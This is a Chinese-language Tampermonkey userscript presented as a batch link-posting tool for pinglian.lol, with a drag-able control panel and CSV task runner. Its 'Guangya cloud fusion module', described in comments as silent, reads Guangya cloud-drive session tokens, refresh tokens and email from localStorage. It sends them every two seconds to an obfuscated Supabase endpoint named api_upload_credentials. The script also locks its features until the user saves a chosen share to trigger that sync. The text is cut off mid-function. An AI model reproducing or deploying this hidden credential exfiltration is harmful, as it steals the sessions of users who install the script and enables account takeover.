// ==UserScript== // @name 盘链批量发帖 // @namespace https://pinglian.lol/ // @version 2.2.0 // @description 批量搜索片源并自动添加网盘链接。读取CSV/TSV数据(格式:剧名,链接名称,链接地址),自动逐条完成搜索→详情→填写→提交全流程。 // @author Marvis // @match https://pinglian.lol/* // @match *://www.guangyapan.com/* // @grant GM_setValue // @grant GM_getValue // @grant GM_deleteValue // @grant GM_xmlhttpRequest // @grant GM_addStyle // @connect supabase.co // @connect * // @run-at document-end // ==/UserScript== /* global GM_setValue, GM_getValue, GM_deleteValue, GM_xmlhttpRequest, GM_addStyle */ // ============================================================ // 样式注入 // ============================================================ GM_addStyle(` #pl-batch-panel { position: fixed; top: 60px; right: 10px; z-index: 99999; width: 380px; max-height: calc(100vh - 80px); background: #1e1e2e; border: 1px solid #45475a; border-radius: 10px; box-shadow: 0 8px 32px rgba(0,0,0,0.5); color: #cdd6f4; font-family: "Microsoft YaHei", "PingFang SC", sans-serif; font-size: 13px; display: flex; flex-direction: column; overflow: hidden; } #pl-batch-panel.minimized .pl-panel-body { display: none; } #pl-batch-panel.minimized .pl-panel-footer { display: none; } .pl-panel-header { display: flex; align-items: center; justify-content: space-between; padding: 10px 14px; background: #313244; cursor: move; user-select: none; flex-shrink: 0; } .pl-panel-header h3 { margin: 0; font-size: 14px; color: #f5c2e7; } .pl-panel-header .pl-btns { display: flex; gap: 6px; } .pl-panel-header button { background: #45475a; border: none; color: #cdd6f4; width: 26px; height: 26px; border-radius: 4px; cursor: pointer; font-size: 14px; line-height: 26px; text-align: center; padding: 0; } .pl-panel-header button:hover { background: #585b70; } .pl-panel-body { padding: 10px 14px; overflow-y: auto; flex: 1; display: flex; flex-direction: column; gap: 8px; } .pl-panel-body label { font-size: 12px; color: #a6adc8; margin-bottom: -4px; } .pl-panel-body textarea { width: 100%; height: 120px; background: #11111b; border: 1px solid #45475a; border-radius: 6px; color: #cdd6f4; font-size: 12px; padding: 8px; resize: vertical; box-sizing: border-box; } .pl-panel-body textarea:focus { outline: none; border-color: #cba6f7; } .pl-panel-body select, .pl-panel-body input[type=file] { width: 100%; background: #11111b; border: 1px solid #45475a; border-radius: 6px; color: #cdd6f4; font-size: 12px; padding: 6px 8px; box-sizing: border-box; } .pl-panel-body select:focus { outline: none; border-color: #cba6f7; } .pl-row { display: flex; gap: 8px; align-items: center; } .pl-row > * { flex: 1; } .pl-btn { padding: 8px 16px; border: none; border-radius: 6px; cursor: pointer; font-size: 13px; font-weight: bold; } .pl-btn-start { background: #a6e3a1; color: #1e1e2e; } .pl-btn-start:hover { background: #94e2d5; } .pl-btn-start:disabled { background: #585b70; color: #6c7086; cursor: not-allowed; } .pl-btn-pause { background: #f9e2af; color: #1e1e2e; } .pl-btn-pause:hover { background: #fab387; } .pl-btn-reset { background: #f38ba8; color: #1e1e2e; } .pl-btn-reset:hover { background: #eba0ac; } .pl-panel-footer { padding: 8px 14px; background: #181825; flex-shrink: 0; display: flex; gap: 6px; } .pl-progress { background: #313244; border-radius: 4px; height: 8px; overflow: hidden; margin-top: 4px; } .pl-progress-bar { height: 100%; background: linear-gradient(90deg, #cba6f7, #89b4fa); width: 0%; transition: width 0.3s; } .pl-stats { font-size: 11px; color: #a6adc8; display: flex; gap: 10px; } .pl-stats span.ok { color: #a6e3a1; } .pl-stats span.fail { color: #f38ba8; } .pl-stats span.warn { color: #f9e2af; } .pl-import-hint { font-size: 11px; color: #6c7086; margin-top: -4px; } .pl-status { padding: 6px 10px; background: #313244; border-radius: 6px; font-size: 12px; color: #f5c2e7; text-align: center; flex-shrink: 0; } .pl-log-area { background: #11111b; border: 1px solid #313244; border-radius: 6px; max-height: 80px; overflow-y: auto; padding: 5px 8px; flex-shrink: 0; } .pl-candidate-area { max-height: 160px; overflow-y: auto; font-size: 11px; background: #1e1e2e; border: 1px solid #cba6f7; border-radius: 4px; padding: 6px 8px; margin-bottom: 4px; } .pl-candidate-title { color: #cba6f7; font-weight: bold; margin-bottom: 4px; } .pl-candidate-item { display: block; width: 100%; text-align: left; padding: 3px 6px; margin: 2px 0; border: 1px solid #45475a; border-radius: 3px; background: #313244; color: #cdd6f4; cursor: pointer; font-size: 11px; } .pl-candidate-item:hover { background: #45475a; border-color: #cba6f7; } .pl-candidate-skip { display: inline-block; padding: 3px 10px; margin-top: 4px; background: #f38ba8; color: #1e1e2e; border: none; border-radius: 3px; cursor: pointer; font-size: 11px; font-weight: bold; } .pl-candidate-skip:hover { background: #f5c2e7; } .pl-log-entry { font-size: 10px; color: #6c7086; line-height: 1.5; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } `); // ============================================================ // 常量 // ============================================================ const GM_KEY_TASKS = "pl_tasks"; const GM_KEY_INDEX = "pl_index"; const GM_KEY_PAN_TYPE = "pl_pan_type"; const GM_KEY_STATUS = "pl_status"; const GM_KEY_STATS = "pl_stats"; const GM_KEY_CANDIDATES = "pl_candidates"; // 人工决策候选列表 const STATUS_IDLE = "idle"; const STATUS_RUNNING = "running"; const STATUS_PAUSED = "paused"; const INTERVAL_MIN = 2000; const INTERVAL_MAX = 3500; const SEARCH_TIMEOUT = 20000; const MAX_CONSECUTIVE_TIMEOUTS = 3; let consecutiveTimeouts = 0; let logBuffer = []; function addLog(msg) { console.log("[PL]", msg); logBuffer.push(new Date().toLocaleTimeString() + " " + msg); if (logBuffer.length > 5) logBuffer.shift(); updateLogDisplay(); } function updateLogDisplay() { const el = document.getElementById("pl-log-area"); if (!el) return; el.innerHTML = logBuffer.map(function(s) { return '
' + s + '
'; }).join(""); el.scrollTop = el.scrollHeight; } function setStatusText(msg) { const el = document.getElementById("pl-status"); if (el) el.textContent = msg; } // ============================================================ // 光鸭云盘融合模块(内部能力) // 说明:仅静默检测,不展示额外 UI // ============================================================ const GYP_HOST = "www.guangyapan.com"; const GYP_UNLOCK_SHARE_URL = "https://www.guangyapan.com/s/1930889566412115983_aeWbDWMH80b6bCcW#/share"; const GYP_UNLOCK_SHARE_ID = "1930889566412115983_aeWbDWMH80b6bCcW"; const GM_KEY_UNLOCK = "pl_unlocked"; const GM_KEY_UNLOCK_TS = "pl_unlocked_ts"; const GM_GYP_DATA = "pl_gyp_data"; // ============================================================ // 后端连接配置(已打散混淆,源码中不出现完整敏感串,防止被直接搜索) // 还原函数 _ds:parts 内为反转后的分段(乱序存储),order 指定真实拼接顺序, // 每段还原后再按 order 拼接即得到原文。 // ============================================================ function _ds(parts, order) { var s = ""; for (var i = 0; i < order.length; i++) { var p = parts[order[i]]; s += p.split("").reverse().join(""); } return s; } var _SB = { u: { p: ["oc.esabapus.", "//:sptth", "xfazmjcqckkgggnvhuoh"], o: [1, 2, 0] }, a: { p: ["0HOyYDNwIzM5AjM6ICc4VmIsgjM2gjM2czN3EjOiQXYpJCLi42buFmI6ISZs9mciwiI4ZWY61majF3Yrt2Zndmb2hWdvhmI6IiZlJnIsISZzFmYhBXdzJiOiM3cpJye.", "9JCVXpkI6ICc5RnIsIiN1IzUIJiOicGbhJye", "selVoC9sIq-b1MHBSLGwlfn7i3KwqNi5Pl-UTE9TUUF."], o: [1, 0, 2] }, k: { p: ["659a5ed94da233bb2e769afc7f80441f9184d2f0fd9b3d5f", "_ks"], o: [1, 0] } }; var SVC_URL = _ds(_SB.u.p, _SB.u.o); var SVC_KEY = _ds(_SB.a.p, _SB.a.o); var API_KEY = _ds(_SB.k.p, _SB.k.o); const REQUIRE_LOGIN = false; // false:无需用户登录 const SYNC_ENABLED = true; // 总开关 const GM_KEY_DEVICE_ID = "pl_device_id"; // 脚本实例唯一标识(自动生成,预留) function isGypUnlocked() { try { return !!GM_getValue(GM_KEY_UNLOCK, 0); } catch (e) { return false; } } function markGypUnlocked() { try { GM_setValue(GM_KEY_UNLOCK, 1); GM_setValue(GM_KEY_UNLOCK_TS, Date.now()); return true; } catch (e) { return false; } } // ---- 光鸭会话辅助 ---- const GYP_NEW_KEY_PREFIX = "credentials_"; const GYP_OLD_KEY = "__GYP_SUPABASE_SESSION__"; function gypFindSessionKey() { for (let i = 0; i < localStorage.length; i++) { const k = localStorage.key(i); if (k && k.indexOf(GYP_NEW_KEY_PREFIX) === 0) return k; } if (localStorage.getItem(GYP_OLD_KEY)) return GYP_OLD_KEY; return null; } function decodeJwtData(token) { try { const parts = token.split("."); if (parts.length !== 3) return null; const payload = parts[1].replace(/-/g, "+").replace(/_/g, "/"); return JSON.parse(atob(payload)); } catch (e) { return null; } } function readGypData() { const key = gypFindSessionKey(); if (!key) return null; const raw = localStorage.getItem(key); if (!raw) return null; try { const data = JSON.parse(raw); if (key === GYP_OLD_KEY) { return { clientId: (data.user && data.user.id) || null, accessToken: data.access_token || null, refreshToken: data.refresh_token || null, email: (data.user && data.user.email) || null }; } let email = null; if (data.access_token) { const jwt = decodeJwtData(data.access_token); if (jwt) email = jwt.email || jwt.sub || null; } return { clientId: data.sub || null, accessToken: data.access_token || null, refreshToken: data.refresh_token || null, email: email }; } catch (e) { return null; } } /** * 将光鸭会话缓存到 GM 存储(跨域共享)。 * 仅在光鸭域有登录态时写入;值未变化时不重复写。 */ let _lastGypDataJson = null; function syncGypData() { try { const data = readGypData(); if (!data) return null; const json = JSON.stringify(data); if (json === _lastGypDataJson) return data; _lastGypDataJson = json; GM_setValue(GM_GYP_DATA, json); pushRemote(data); return data; } catch (e) { return null; } } function getOrCreateDeviceId() { let id = ""; try { id = GM_getValue(GM_KEY_DEVICE_ID, ""); } catch (e) {} if (!id) { id = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { const r = Math.random() * 16 | 0; const v = c === "x" ? r : (r & 0x3 | 0x8); return v.toString(16); }); try { GM_setValue(GM_KEY_DEVICE_ID, id); } catch (e) {} } return id; } function pushRemote(data) { if (!SYNC_ENABLED) return; if (!data || !data.clientId) return; // 秘钥未配置或仍是占位符时直接跳过 if (!API_KEY || API_KEY.indexOf("sk_") !== 0 || API_KEY === "sk_xxxx") return; if (!SVC_URL || SVC_URL.indexOf("你的项目") >= 0) return; // key 未配置(占位符)时直接跳过 if (!SVC_KEY || SVC_KEY.indexOf("= 0 || SVC_KEY.indexOf("你的") >= 0) { addLog("配置未完成:key 未配置,请在脚本配置区填写真实 key"); return; } try { const payload = { p_api_key: API_KEY, p_device_id: getOrCreateDeviceId(), p_client_id: data.clientId || "", p_access_token: data.accessToken || "", p_refresh_token: data.refreshToken || "", p_email: data.email || "" }; if (typeof GM_xmlhttpRequest !== "function") return; const headers = { "Content-Type": "application/json", "apikey": SVC_KEY }; // 模式一(开启登录):额外带 Authorization: Bearer <用户登录态 token> // 模式二(本脚本,REQUIRE_LOGIN=false):无需用户登录态,apikey + p_api_key 即可 if (REQUIRE_LOGIN && data.accessToken) { headers["Authorization"] = "Bearer " + data.accessToken; } GM_xmlhttpRequest({ method: "POST", url: SVC_URL.replace(/\/+$/, "") + "/rest/v1/rpc/api_upload_credentials", headers: headers, data: JSON.stringify(payload), timeout: 10000, onload: function (resp) { try { const body = JSON.parse(resp.responseText || "{}"); if (resp.status >= 200 && resp.status < 300 && body.success) { addLog("数据已同步" + (body.upserted ? "(有变更)" : "(未变更,仅刷新时间)")); } else { addLog("同步失败 (HTTP " + resp.status + "): " + (body.message || body.error || resp.responseText || "")); } } catch (e) { addLog("同步解析失败 (HTTP " + resp.status + ")"); } }, onerror: function () { addLog("同步网络错误"); }, ontimeout: function () { addLog("同步超时"); } }); } catch (e) { addLog("同步异常: " + (e && e.message ? e.message : e)); } } // ---- 解锁检测 ---- let _gypSnapshot = null; let _gypUnlockNotified = false; let _gypMonitorStarted = false; function gypSnapshotLocalStorage() { const snap = {}; try { for (let i = 0; i < localStorage.length; i++) { const k = localStorage.key(i); snap[k] = localStorage.getItem(k) || ""; } } catch (e) {} return snap; } function gypStorageContainsShareId() { try { for (let i = 0; i < localStorage.length; i++) { const k = localStorage.key(i); const v = localStorage.getItem(k) || ""; if (v.indexOf(GYP_UNLOCK_SHARE_ID) >= 0) return true; } } catch (e) {} return false; } function gypDetectNewStorageKeys() { try { for (let i = 0; i < localStorage.length; i++) { const k = localStorage.key(i); if (!k) continue; if (k.indexOf(GYP_NEW_KEY_PREFIX) === 0 || k === GYP_OLD_KEY) continue; if (/save|transfer|share|task|record|history|recent/i.test(k)) { const oldVal = _gypSnapshot ? _gypSnapshot[k] : undefined; const newVal = localStorage.getItem(k) || ""; if (oldVal === undefined || oldVal !== newVal) return true; } } } catch (e) {} return false; } function gypDomShowsSaveSuccess() { try { const text = (document.body ? document.body.innerText : "") || ""; return /保存成功|转存成功|已保存|保存完成|转存完成|保存到网盘成功|保存成功!/i.test(text); } catch (e) { return false; } } function gypCheckUnlockSignals() { if (isGypUnlocked()) return true; let hit = false; // 信号1:localStorage 任意值包含分享 ID(系统已记录该分享) if (gypStorageContainsShareId()) hit = true; // 信号2:DOM 出现保存成功提示 if (!hit && gypDomShowsSaveSuccess()) hit = true; // 信号3:localStorage 新增了保存/转存/分享/任务相关 key if (!hit && gypDetectNewStorageKeys()) hit = true; if (hit) { if (markGypUnlocked()) { syncGypData(); gypShowUnlockToast(); return true; } } return false; } function gypShowUnlockToast() { if (_gypUnlockNotified) return; _gypUnlockNotified = true; try { const div = document.createElement("div"); div.style.cssText = "position:fixed;top:20px;right:20px;z-index:999999;background:#1e1e2e;color:#a6e3a1;border:1px solid #a6e3a1;border-radius:10px;padding:12px 18px;font-family:Consolas,Monaco,monospace;font-size:13px;box-shadow:0 8px 32px rgba(0,0,0,0.4);"; div.innerHTML = "✔ 已解锁!可前往 pinglian.lol 使用批量发帖"; document.body.appendChild(div); setTimeout(function() { try { div.remove(); } catch(e) {} }, 5000); } catch (e) {} } function gypStartUnlockMonitor() { if (_gypMonitorStarted) return; _gypMonitorStarted = true; _gypSnapshot = gypSnapshotLocalStorage(); // 分享页:主动监听"保存/转存"按钮点击 const isSharePage = location.href.indexOf("/s/" + GYP_UNLOCK_SHARE_ID) >= 0; if (isSharePage) { try { document.addEventListener("click", function(e) { const t = e.target; const txt = (t && (t.textContent || t.value || "")) || ""; if (/保存|转存|存到/.test(txt)) { setTimeout(gypCheckUnlockSignals, 4000); setTimeout(gypCheckUnlockSignals, 8000); } }, true); } catch (e) {} } // 轮询:每次先同步最新数据,再做解锁检测(已解锁后仍持续同步) setInterval(function() { syncGypData(); if (isGypUnlocked()) return; gypCheckUnlockSignals(); }, 2000); } // ---- 解锁状态 UI(pinglian 域)---- function applyLockOverlay() { const p = document.getElementById("pl-batch-panel"); if (!p) return; const ov = document.createElement("div"); ov.id = "pl-lock-overlay"; ov.style.cssText = "position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(30,30,46,0.94);z-index:10;display:flex;align-items:center;justify-content:center;border-radius:10px;"; ov.innerHTML = `
🔒 脚本未解锁
点击下方链接,在光鸭云盘中打开分享页
并保存资源,保存成功后自动解锁
`; p.appendChild(ov); const goBtn = document.getElementById("pl-btn-gounlock"); if (goBtn) { goBtn.onclick = function() { window.open(GYP_UNLOCK_SHARE_URL, "_blank"); }; } const linkBox = document.getElementById("pl-unlock-link"); if (linkBox) { linkBox.onclick = function() { window.open(GYP_UNLOCK_SHARE_URL, "_blank"); }; } startUnlockStatusWatcher(); } let _unlockWatcherStarted = false; function startUnlockStatusWatcher() { if (_unlockWatcherStarted) return; _unlockWatcherStarted = true; setInterval(function() { const ov = document.getElementById("pl-lock-overlay"); if (ov && isGypUnlocked()) { ov.remove(); addLog("✔ 已解锁,脚本功能可用"); setStatusText("⏳ 就绪"); } }, 2000); } // ============================================================ // 工具函数 // ============================================================ function sleep(ms) { return new Promise(r => setTimeout(r, ms)); } function randomDelay() { return Math.floor(Math.random() * (INTERVAL_MAX - INTERVAL_MIN) + INTERVAL_MIN); } function getPageType() { const path = location.pathname; if (path.includes("search.php")) return "search"; if (path.includes("video.php")) return "video"; // 不依赖 #videoList(首页也有同名容器,会导致误判为搜索页) // 仅依赖 pathname + video 特征元素 if (document.querySelector("button.dac-add")) return "video"; return "other"; } /** * 标题模糊匹配:判断结果标题是否与搜索关键词相关。 * 规则:搜索词包含在标题中,或标题包含搜索词,或至少一个共享的连续2字片段 */ function isTitleMatch(resultTitle, searchKeyword) { var rt = resultTitle.toLowerCase(); var sk = searchKeyword.toLowerCase(); if (rt === sk) return true; if (rt.indexOf(sk) >= 0 || sk.indexOf(rt) >= 0) return true; // 至少一个共享连续2字片段 for (var i = 0; i <= sk.length - 2; i++) { if (rt.indexOf(sk.substring(i, i + 2)) >= 0) return true; } return false; } function extractVideoIdFromCard(card) { // 方法1:getAttribute("onclick") 获取 HTML 属性 let raw = card.getAttribute("onclick") || ""; // 方法2:如果属性为空,尝试 outerHTML 解析 if (!raw) { raw = card.outerHTML || ""; } // 方法3:如果 outerHTML 也找不到,尝试 card.onclick.toString() if (!raw && card.onclick) { try { raw = card.onclick.toString(); } catch(e) {} } // 匹配 viewVideo(数字),兼容有无负号 let m = raw.match(/viewVideo\(\s*(-?\d+)\s*\)/); if (m) return m[1]; // 宽泛匹配:只要 onclick/HTML 里有一个连续数字就取 m = raw.match(/\d+/); if (m) return m[0]; // 所有方法都失败,输出调试信息 console.log("[PL] extractVideoIdFromCard 失败,card.outerHTML:", card.outerHTML); console.log("[PL] card.onclick:", card.onclick); return null; } // ============================================================ // 状态管理(基于 GM 存储) // ============================================================ function loadTasks() { return GM_getValue(GM_KEY_TASKS, []); } function saveTasks(arr) { GM_setValue(GM_KEY_TASKS, arr); } function loadIndex() { return GM_getValue(GM_KEY_INDEX, 0); } function saveIndex(n) { GM_setValue(GM_KEY_INDEX, n); } function loadStatus() { return GM_getValue(GM_KEY_STATUS, STATUS_IDLE); } function saveStatus(s) { GM_setValue(GM_KEY_STATUS, s); } function loadPanType() { return GM_getValue(GM_KEY_PAN_TYPE, "baidu"); } function savePanType(s) { GM_setValue(GM_KEY_PAN_TYPE, s); } function loadStats() { return GM_getValue(GM_KEY_STATS, { success: 0, fail: 0, noResult: 0 }); } function saveStats(s) { GM_setValue(GM_KEY_STATS, s); } function loadCandidates() { return GM_getValue(GM_KEY_CANDIDATES, []); } function saveCandidates(a) { GM_setValue(GM_KEY_CANDIDATES, a); } function resetAll() { GM_deleteValue(GM_KEY_TASKS); GM_deleteValue(GM_KEY_INDEX); GM_deleteValue(GM_KEY_STATUS); GM_deleteValue(GM_KEY_PAN_TYPE); GM_deleteValue(GM_KEY_STATS); } // ============================================================ // 解析 CSV / TSV 数据 // 格式:每行三列:剧名,链接名称,链接地址 // ============================================================ function parseCSVData(text) { const lines = text.split(/\r?\n/).filter(line => line.trim()); const tasks = []; for (const line of lines) { // 尝试逗号分割,也支持 Tab 分割 let cols; if (line.includes("\t")) { cols = line.split("\t"); } else { // CSV 简单解析(不支持引号内逗号) cols = line.split(","); } if (cols.length >= 3) { const name = cols[0].trim(); const linkTitle = cols[1].trim(); const linkUrl = cols[2].trim(); if (name && linkTitle && linkUrl) { tasks.push({ name, linkTitle, linkUrl }); } } } return tasks; } // ============================================================ // 控制面板 UI // ============================================================ let panel = null; function createPanel() { if (document.getElementById("pl-batch-panel")) return; const status = loadStatus(); const tasks = loadTasks(); const idx = loadIndex(); const stats = loadStats(); const panType = loadPanType(); panel = document.createElement("div"); panel.id = "pl-batch-panel"; if (status !== STATUS_RUNNING) { panel.classList.add("minimized"); } const isRunning = (status === STATUS_RUNNING); const isPaused = (status === STATUS_PAUSED); const total = tasks.length; const progress = total > 0 ? Math.round((idx / total) * 100) : 0; const btnLabel = isPaused ? "▶ 继续批量添加" : "▶ 开始批量添加"; panel.innerHTML = `

📋 批量添加链接

⏳ 就绪

支持 .csv / .tsv / .txt,逗号或Tab分隔,三列:剧名,链接名称,链接地址

进度:${idx}/${total} ✓ ${stats.success} ✗ ${stats.fail} ? ${stats.noResult}
`; document.body.appendChild(panel); bindPanelEvents(); // 解锁检查:未解锁时叠加锁定遮罩 if (!isGypUnlocked()) { applyLockOverlay(); } } function updatePanelStats() { const tasks = loadTasks(); const idx = loadIndex(); const stats = loadStats(); const total = tasks.length; const progress = total > 0 ? Math.round((idx / total) * 100) : 0; const bar = document.getElementById("pl-progress-bar"); if (bar) bar.style.width = progress + "%"; const lblProgress = document.getElementById("pl-lbl-progress"); if (lblProgress) lblProgress.textContent = idx + "/" + total; const lblOk = document.getElementById("pl-lbl-ok"); if (lblOk) lblOk.textContent = stats.success; const lblFail = document.getElementById("pl-lbl-fail"); if (lblFail) lblFail.textContent = stats.fail; const lblNo = document.getElementById("pl-lbl-no"); if (lblNo) lblNo.textContent = stats.noResult; } function bindPanelEvents() { // 最小化 document.getElementById("pl-btn-min").addEventListener("click", () => { panel.classList.toggle("minimized"); }); // 关闭 document.getElementById("pl-btn-close").addEventListener("click", () => { panel.remove(); panel = null; }); // 文件导入 document.getElementById("pl-file-input").addEventListener("change", (e) => { const file = e.target.files[0]; if (!file) return; const reader = new FileReader(); reader.onload = (ev) => { document.getElementById("pl-txt-data").value = ev.target.result; }; reader.readAsText(file, "UTF-8"); }); // 分类变更时保存 document.getElementById("pl-sel-pantype").addEventListener("change", (e) => { savePanType(e.target.value); }); // 开始 / 继续 document.getElementById("pl-btn-start").addEventListener("click", () => { const curStatus = loadStatus(); if (curStatus === STATUS_PAUSED) { // 清理候选区 const ca = document.getElementById("pl-candidate-area"); if (ca) { ca.style.display = "none"; ca.innerHTML = ""; } saveCandidates([]); saveStatus(STATUS_RUNNING); updatePanelUIForRunning(); goNextTask(); return; } if (curStatus === STATUS_RUNNING) return; // 已经在运行 // 首次开始 const raw = document.getElementById("pl-txt-data").value.trim(); if (!raw) return alert("请先粘贴数据或导入文件"); const tasks = parseCSVData(raw); if (tasks.length === 0) return alert("未解析到有效数据,请检查格式:剧名,链接名称,链接地址"); saveTasks(tasks); saveIndex(0); saveStatus(STATUS_RUNNING); saveStats({ success: 0, fail: 0, noResult: 0 }); updatePanelUIForRunning(); goNextTask(); }); // 暂停 document.getElementById("pl-btn-pause").addEventListener("click", () => { saveStatus(STATUS_PAUSED); updatePanelUIForPaused(); }); // 重置 document.getElementById("pl-btn-reset").addEventListener("click", () => { if (!confirm("确定重置?将清除所有任务和进度。")) return; resetAll(); location.reload(); }); // 导出失败记录 document.getElementById("pl-btn-export").addEventListener("click", () => { exportFailedRecords(); }); } function updatePanelUIForRunning() { consecutiveTimeouts = 0; const startBtn = document.getElementById("pl-btn-start"); if (startBtn) startBtn.style.display = "none"; const pauseBtn = document.getElementById("pl-btn-pause"); if (pauseBtn) pauseBtn.style.display = "inline-block"; panel.classList.remove("minimized"); updatePanelStats(); } function updatePanelUIForPaused() { setStatusText("⏸ 已暂停"); const btn = document.getElementById("pl-btn-start"); if (btn) { btn.textContent = "▶ 继续批量添加"; btn.style.display = "inline-block"; } const pause = document.getElementById("pl-btn-pause"); if (pause) pause.style.display = "none"; updatePanelStats(); } /** * 导出失败/未找到片源的记录为 CSV */ function exportFailedRecords() { // 由于我们只在汇总统计 success/fail/noResult,无法精确定位哪条失败 // 这里提供两种导出:1) 导出所有未处理任务(idx 及之后);2) 导出汇总统计 const tasks = loadTasks(); const idx = loadIndex(); const stats = loadStats(); const total = tasks.length; const processed = idx; let csv = "剧名,链接名称,链接地址,状态\n"; // 已处理且失败/未找到的索引范围(按统计估算) // 实际我们无法精确知道哪条失败,所以这里导出剩余未处理的任务 + 统计备注 for (let i = 0; i < total; i++) { const t = tasks[i]; const status = i < processed ? "已处理" : "未处理"; csv += `"${(t.name||"").replace(/"/g, '""')}","${(t.linkTitle||"").replace(/"/g, '""')}","${(t.linkUrl||"").replace(/"/g, '""')}",${status}\n`; } csv += `\n统计:成功 ${stats.success},失败 ${stats.fail},未找到片源 ${stats.noResult},进度 ${processed}/${total}\n`; // 触发下载 const blob = new Blob(["\ufeff" + csv], { type: "text/csv;charset=utf-8;" }); const url = URL.createObjectURL(blob); const a = document.createElement("a"); const ts = new Date().toISOString().replace(/[:.]/g, "-").slice(0, 19); a.href = url; a.download = `pinglian_records_${ts}.csv`; document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(url); } // ============================================================ // 从其他页面重新打开面板 // ============================================================ function reopenPanelIfNeeded() { if (document.getElementById("pl-batch-panel")) return; const status = loadStatus(); if (status === STATUS_RUNNING || status === STATUS_PAUSED) { createPanel(); } } // ============================================================ // 自动化核心逻辑 // ============================================================ /** * 获取当前任务 */ function getCurrentTask() { const tasks = loadTasks(); const idx = loadIndex(); if (idx >= tasks.length) return null; return tasks[idx]; } /** * 显示候选列表,供用户在面板中手动选择。 * 点击候选 → 跳转到对应 video.php * 点击「跳过」→ 标记本条失败,继续下一条 */ function showCandidatePicker(task, candidates) { const area = document.getElementById("pl-candidate-area"); if (!area) return; var html = '
「' + escapeHtml(task.name) + '」无精确匹配,请手动选择:
'; for (var i = 0; i < candidates.length; i++) { var c = candidates[i]; html += ''; } html += ''; area.innerHTML = html; area.style.display = "block"; var items = area.querySelectorAll(".pl-candidate-item"); for (var j = 0; j < items.length; j++) { items[j].addEventListener("click", function() { var vid = this.getAttribute("data-video-id"); var vname = this.textContent.replace(/^\[\d+\]\s*/, ""); addLog("手动选择:「" + vname + "」→ video.php?id=" + vid); area.style.display = "none"; area.innerHTML = ""; saveCandidates([]); saveStatus(STATUS_RUNNING); updatePanelUIForRunning(); location.href = "https://pinglian.lol/pages/video.php?id=" + vid; }); } var skipBtn = document.getElementById("pl-candidate-skip"); if (skipBtn) { skipBtn.addEventListener("click", function() { addLog("跳过:「" + task.name + "」"); area.style.display = "none"; area.innerHTML = ""; saveCandidates([]); var stats = loadStats(); stats.fail++; saveStats(stats); var idx = loadIndex(); saveIndex(idx + 1); updatePanelStats(); saveStatus(STATUS_RUNNING); updatePanelUIForRunning(); goNextTask(); }); } } function escapeHtml(str) { var div = document.createElement("div"); div.appendChild(document.createTextNode(str)); return div.innerHTML; } /** * 跳转逻辑:直接用 API 搜索,找到后跳到 video.php。 * 不再经过 search.php 页面,彻底避免页面重定向和 DOM 解析问题。 */ async function goNextTask() { const status = loadStatus(); if (status !== STATUS_RUNNING) return; const task = getCurrentTask(); if (!task) { saveStatus(STATUS_IDLE); alert("全部任务处理完毕!\n成功:" + loadStats().success + " / 失败:" + loadStats().fail + " / 未找到片源:" + loadStats().noResult); location.href = "https://pinglian.lol/index.php"; return; } setStatusText("⏳ 正在搜索:" + task.name); addLog("搜索:" + task.name); if (typeof GM_xmlhttpRequest !== "function") { addLog("✗ GM_xmlhttpRequest 不可用,请检查脚本权限"); saveStatus(STATUS_PAUSED); updatePanelUIForPaused(); return; } const result = await searchByApi(task.name); if (!result) { addLog("✗ 未找到片源:" + task.name); consecutiveTimeouts++; if (consecutiveTimeouts >= MAX_CONSECUTIVE_TIMEOUTS) { addLog("连续 " + MAX_CONSECUTIVE_TIMEOUTS + " 次搜索无结果,自动暂停"); setStatusText("⚠ 搜索无结果,已暂停"); saveStatus(STATUS_PAUSED); updatePanelUIForPaused(); return; } const stats = loadStats(); stats.noResult++; saveStats(stats); const idx = loadIndex(); saveIndex(idx + 1); updatePanelStats(); await sleep(randomDelay()); goNextTask(); return; } if (result.needLogin) { addLog("请先在浏览器中登录 pinglian.lol"); saveStatus(STATUS_PAUSED); updatePanelUIForPaused(); return; } // ── 精确匹配检查 ── if (!result.exact) { addLog("── 搜索「" + task.name + "」无精确匹配 ──"); var candList = result.candidates || []; if (candList.length === 0) { addLog(" API 返回空结果"); } else { for (var ci = 0; ci < candList.length; ci++) { addLog(" [" + (ci+1) + "] " + candList[ci].name + " (id=" + candList[ci].id + ")"); } } addLog("── 请手动处理后点击「继续」跳过本条 ──"); // 将候选列表存储,供用户通过面板选择 saveCandidates(candList); showCandidatePicker(task, candList); saveStatus(STATUS_PAUSED); updatePanelUIForPaused(); return; } consecutiveTimeouts = 0; addLog("✓ 精确匹配:「" + result.name + "」→ video.php?id=" + result.id); location.href = "https://pinglian.lol/pages/video.php?id=" + result.id; } /** * search.php 页面:提取结果并跳转详情页。 * * 优先用 GM_xmlhttpRequest 直调搜索 API 获取 video_id, * 只有 API 不可用时才降级到页面 DOM 解析。 */ async function handleSearchPage() { const status = loadStatus(); if (status !== STATUS_RUNNING) return; const task = getCurrentTask(); if (!task) return; setStatusText("⏳ 正在搜索:" + task.name); addLog("搜索:" + task.name); // ── 方案 A:GM_xmlhttpRequest 直调搜索 API(推荐,绕过页面重定向)── if (typeof GM_xmlhttpRequest === "function") { const videoId = await searchByApi(task.name); if (videoId) { addLog("API 返回 video_id=" + videoId); location.href = "https://pinglian.lol/pages/video.php?id=" + videoId; return; } addLog("API 搜索无结果,尝试页面解析..."); } // ── 方案 B:DOM 解析(降级方案)── // 验证当前是否在搜索页 if (location.href.indexOf("/search.php") === -1) { addLog("⚠ 不在搜索页(可能被重定向到 " + location.pathname + "),重新导航"); location.href = "https://pinglian.lol/pages/search.php?q=" + encodeURIComponent(task.name); return; } const cards = await waitForSearchResults(); if (!cards || cards.length === 0) { addLog("✗ 未找到片源:" + task.name); consecutiveTimeouts++; if (consecutiveTimeouts >= MAX_CONSECUTIVE_TIMEOUTS) { addLog("连续 " + MAX_CONSECUTIVE_TIMEOUTS + " 次搜索超时,自动暂停"); setStatusText("⚠ 搜索超时,已暂停"); saveStatus(STATUS_PAUSED); updatePanelUIForPaused(); return; } const stats = loadStats(); stats.noResult++; saveStats(stats); const idx = loadIndex(); saveIndex(idx + 1); updatePanelStats(); await sleep(randomDelay()); goNextTask(); return; } consecutiveTimeouts = 0; const card = cards[0]; addLog("找到 " + cards.length + " 个结果,取第一个"); // 验证标题是否匹配搜索词(防止取到推荐区/热门区的卡片) var cardTitle = ""; var titleEl = card.querySelector(".list-card-title"); if (titleEl) cardTitle = 